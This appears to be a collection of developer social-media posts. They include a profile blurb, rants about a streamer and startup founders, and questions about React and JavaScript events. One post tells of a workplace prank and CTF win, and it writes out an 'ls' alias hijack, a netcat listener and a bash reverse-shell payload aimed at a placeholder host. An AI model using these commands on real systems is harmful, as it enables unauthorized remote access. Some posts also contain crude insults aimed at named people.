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AboutMy name is Felix, I genuinely hated my life and programming was my coping mechanism. Things are getting better. In a few months, I'll have finished my apprenticeship and have become an actual, genuine software developer.
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SkillsJavaScript/Node, Typescript, C, C#, T-SQL. I like snakes, but fuck python. Digital Logic as well, kind of... ...and anything else, if you pay me to learn it. No risk no fun.
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LocationNear Bielefeld, Germany
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Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:
alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'
So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.
But still, harmless prank, right? Right? Well…
His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.
How did I win? First, I opened the good old Netcat on my end:
nc -lvnp 1337
…then temporarily replaced Borat's face with a juicy payload:
exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";
Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.
Moral of the story?
🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.
GREAT SUCCESS! 🎉
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This is Alvin, a small sub that is 60 years old, been to the Titanic wreckage many, many times. Still in active service.
This is the difference between the real engineering and the kind of "engineering" done by so-called "disruptors" that say "move fast and break things".
You're not an engineer — you're a douche that appropriates the engineering culture. You didn't make an "OS for productivity", you made a worse version of Lotus 1-2-3 from 1983. You didn't "reverse-engineer" anything — you copied and pasted funny letters and symbols put together by a language model that is as clueless as you are.
Do not cite the deep magic to me, bitch. I was there when it was written.
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How bad would you say it is to have plain javascript in the root of a functional React component lifecyle loop scope.
I sometimes do hardwired modifcations right before the return because I know it needs to run everytime and the performance hit is minimal... Or is it ? 🤔
And sometimes it's just not worth the hassle of all the dependancy management just to save a couple of operations ..?
See pic attached .. Even looking at this picture now I realised I've accidentally added another React hook BELOW this code, luckily only 1.
I think my reasoning for this was to allow some provider functions to be passed around and used anywhere in this app which accesses the context. Is this a no-no too?
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Piratesoftware's "2D Raytracing" code is just shitty radial light diffusion with collision checks. The worst part is he's individually checking each pixel and manually adjusting the lighting pixel by pixel😭 🙏
Does anyone else feel like Piratesoftware's content is just dedicated to people starting out with coding and game dev? Should this piece of shit be the person these newbie devs look up to? What a fucktard. This is the dude who has "DECADES OF INDUSTRY EXPERIENCE" hacking windmills and sending emails like "please let me hack you" in blizzard
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DOM custom events, and the Node.JS Event class are both so easy to work with and intuitive. Why doesn't JavaScript have native events? It was literally made for UI.
Also: I asked ChatGPT this exact thing before I posted because I had a sneaaaaking suspicion AND I WAS RIGHT. He called it a fuckin quirk.
ChatGPT is a 14 year old that just learned a new word and won't stop using it.
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